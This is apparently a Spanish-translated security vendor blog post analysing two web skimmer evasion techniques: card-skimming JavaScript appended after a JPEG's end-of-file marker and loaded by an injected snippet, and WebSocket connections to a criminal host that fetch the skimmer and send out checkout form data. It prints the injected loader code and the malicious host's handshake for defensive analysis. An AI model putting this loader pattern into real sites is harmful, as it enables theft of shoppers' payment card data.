Durante varios años, los delincuentes han podido robar datos de tarjetas de crédito de compradores en línea sin darse cuenta sin llamar demasiado la atención. Pocas personas en la industria de la seguridad estaban hablando de estos skimmers web de tarjetas de crédito, tanto del lado del servidor como del lado del cliente, antes de que este último se conociera en gran medida como Magecart .

Se necesitaron algunos incidentes importantes, en particular las infracciones de Ticketmaster y British Airways , para poner esta creciente amenaza bajo el foco de atención y finalmente crear conciencia entre los comerciantes y consumidores en línea.

Bajo la presión de un mayor escrutinio, en particular por parte de varios investigadores de seguridad, algunos actores de amenazas comenzaron a desarrollar su habilidad. Esta es una reacción natural, no limitada a los skimmers web, sino que se aplica a cualquier empresa maliciosa, cibernética o no.

Una de estas evoluciones recientes incluye dos nuevas técnicas de evasión adaptadas para los skimmers web del lado del cliente utilizados para ocultar su actividad fraudulenta.

Esteganografía: una imagen que vale más que mil secretos

Los autores de malware han utilizado la esteganografía durante mucho tiempo como una forma de ocultar datos dentro de imágenes de aspecto legítimo. En 2014, describimos una nueva variante del troyano bancario Zeus llamado ZeusVM , que ocultaba sus datos de configuración dentro de una imagen de una hermosa puesta de sol.

En el contexto de la seguridad del sitio web, ocultar código malicioso en archivos de imagen es una excelente manera de pasar desapercibido. Tomemos, por ejemplo, un sitio web de comercio electrónico y los diversos componentes que carga, muchos de ellos serán logotipos, imágenes de productos, etc.

El 26 de diciembre, @AffableKraut reveló el primer skimmer de tarjetas de crédito basado en esteganografía documentado públicamente. A simple vista, la imagen se ve como una cinta típica de envío gratuito que comúnmente se ve en los sitios de compras.

Figura 1: un logotipo de envío gratuito que se encuentra en un sitio de compras

La única indicación de que puede haber algo mal es el hecho de que el archivo está mal formado, con datos adicionales encontrados después del final normal del archivo.

Para comprender mejor qué y dónde podrían estar estos datos, podemos mirar la imagen en un editor hexadecimal. El formato de intercambio de archivos ( JFIF ) para la codificación JPEG tiene una estructura específica. Utilizamos el diagrama de Ange Albertini como guía.

Figura 2: Observando la estructura de la imagen desde el comienzo del archivo

Hasta ahora, la imagen cumple con sus requisitos, y no parece tener nada de especial. Sin embargo, si recordamos lo que vimos en la Figura 1, se agregaron datos adicionales después del segmento final, que tiene el marcador FF D9.

Figura 3: Observando la estructura de la imagen, después del final normal del archivo

Ahora podemos ver el código JavaScript que comienza inmediatamente después del final del marcador de archivo. Mirando algunas de sus cadenas, como onestepcheckout o authorizenet , podemos deducir de inmediato que este es el código de skimming de la tarjeta de crédito.

Todos los sitios comprometidos que encontramos utilizando un skimmer esteganográfico fueron inyectados con fragmentos de código similares (generalmente después del elemento de pie de página o el Administrador de etiquetas de Google) para cargar la imagen falsa y analizar su contenido de JavaScript a través del método slice () .

var xhr = new XMLHttpRequest (); 
xhr.open ('GET', '[ruta de imagen]', verdadero); 
xhr.send (); 
xhr.onreadystatechange = function () { 
     if (this.readyState! = 4) return; 
     if (this.status == 200) { 
         var F = nueva función (this.responseText.slice (- [número])); 
         retorno (F ()); 
     } 
}

Como sucede, la mayoría de los rastreadores y escáneres web se concentrarán en archivos HTML y JavaScript, y a menudo ignorarán los archivos multimedia, que tienden a ser grandes y ralentizan el procesamiento. ¿Qué mejor lugar para colarse en algún código?

Hace varios años, hubo grandes campañas de publicidad maliciosa que redirigieron a las víctimas al kit de explotación Angler, uno de los kits de herramientas más avanzados que se utiliza para infectar a los usuarios con malware. Un actor de amenazas usó una técnica similar al ocultar el código de huellas digitales dentro de una imagen GIF falsa . En ese momento, esta era la crème de la crème de las técnicas de publicidad maliciosa.

En cierto sentido, cualquier archivo cargado directamente o de un tercero debe considerarse sospechoso. @AffableKraut se vincula a un sistema de escaneo de archivos de código abierto llamado Strelka que puede ser útil para los defensores en la detección de archivos anómalos.

Figura 4: Malwarebytes bloquea un skimmer usando esteganografía

WebSockets en lugar de HTTP

WebSocket es un protocolo de comunicación que permite intercambiar flujos de datos entre un cliente y un servidor a través de una única conexión TCP. Por lo tanto, los WebSockets son diferentes al protocolo HTTP más comúnmente conocido, que consiste en solicitudes y respuestas a un servidor desde un cliente.

Figura 5: Comparación de los protocolos WebSocket y HTTP

Si bien los WebSockets son ventajosos para la transferencia de datos en tiempo real, esta no es la razón por la cual los actores de amenazas pueden estar interesados ​​en ellos. Para su caso de uso particular, WebSockets proporciona una forma más encubierta de intercambiar datos que las solicitudes-respuestas HTTP típicas.

Con los skimmers web, hay ciertos artefactos que buscamos:

  • Código de skimmer inyectado directamente en un sitio comprometido (JavaScript en el DOM)
  • Código de skimmer cargado desde recursos externos (etiqueta de script con atributo src)
  • Exfiltración de los datos robados (solicitudes HTTP GET o HTTP POST con datos codificados)

Sin embargo, WebSockets ofrece otra forma de intercambiar datos, como lo encontró @AffableKraut . El primer componente es el código de descremado en sí, seguido de la exfiltración de datos.

Los atacantes necesitan cargar un nuevo WebSocket y eso se puede detectar en el DOM. Sin embargo, fueron inteligentes para ofuscar el código lo suficientemente bien como para que se mezcle por completo.

Figura 6: Código malicioso que carga secretamente el WebSocket

El objetivo es ocultar una conexión a un servidor controlado por los delincuentes a través de un WebSocket. Una vez que este código JavaScript se ejecuta en el navegador, activará la siguiente solicitud de protocolo de enlace de cliente:

OBTENGA https://tawktalk.com/modernize/css/ HTTP / 1.1 
Host: tawktalk.com 
Conexión: Actualización 
Pragma: sin caché 
Control de caché: sin caché 
Agente de usuario: {eliminado} 
Actualización: websocket 
Origen: https: //www.{removed}.com 
Sec-WebSocket-Version: 13 
Accept-Encoding: gzip, deflate, br 
Accept-Language: en-US, en; q = 0.9 
Sec-WebSocket-Key: {eliminado} 
Sec-WebSocket -Extensiones: permessage-deflate; client_max_window_bits

Seguirá la respuesta de protocolo de enlace del servidor:

HTTP / 1.1 101 Protocolos de conmutación 
Servidor: nginx / 1.12.2 
Fecha: {eliminado} 
Conexión: actualización 
Actualización: websocket 
Sec-WebSocket-Accept: {eliminado} 
EndTime: {eliminado} 
ReceivedBytes: 22296 
SentBytes: 57928

Una vez establecido esto, se intercambiará una serie de mensajes bidireccionales entre el cliente (navegador de la víctima) y el servidor (host malicioso). Una propagación codificada Base64 más grande se descarga en el cliente y se procesa como código JavaScript. Esto resulta ser el código de skimming de la tarjeta de crédito.

Figura 7: Los mensajes de WebSocket, descargando el skimmer y luego filtrando datos CC

Los siguientes mensajes más pequeños son intentos de exfiltración de campos de formulario presentes en la página de pago. Los datos se han cifrado para que sea menos obvio. Podemos ver que hay duplicados, al igual que lo que encontramos con algunos skimmers tradicionales que desencadenan la exfiltración en función de un evento de temporizador repetido.

WebSockets también fueron utilizados por otra amenaza web, que en ese momento estaba en los titulares casi a diario: cryptojacking . En este caso, no fue tanto por la ocultación sino por la eficiencia, ya que el proceso de minería en el navegador tuvo que enviar hashes al servidor para cada nuevo trabajo de minería. Sin embargo, notamos el uso de WebSockets junto con servidores proxy para evadir la detección.

Figura 8: Malwarebytes bloquea un skimmer usando WebSockets

Diferentes trucos, misma protección.

Las técnicas descritas en este blog sin duda causarán dolores de cabeza a los defensores y darán a algunos actores de la amenaza tiempo adicional para continuar sus actividades sin ser molestados. Pero como se mencionó anteriormente, este tipo de juego de gato y ratón era de esperar a la luz de nuevas publicaciones regulares sobre Magecart y skimmers web.

Hay otras formas de ocultar y cargar scripts maliciosos. Aunque la tecnología se está retirando, Flash Player a través de ActionScript también fue un gran vehículo para muchas campañas de malware. Por ejemplo, una famosa infraestructura de redirección llamada EITest solía tener un archivo SWF que cargaba un iframe malicioso en un kit de explotación.

Si bien la mayoría de los autores de malware seguirán utilizando métodos tradicionales, los actores más avanzados encontrarán nuevas formas de evadir la detección. Algunas técnicas pueden estar dirigidas a los investigadores, mientras que otras pueden estar destinadas a evitar los rastreadores web.

En Malwarebytes, continuamos monitoreando el cambio en este panorama de amenazas para mantener a nuestros usuarios seguros. La protección contra skimmers web está disponible a través de nuestro software Malwarebytes .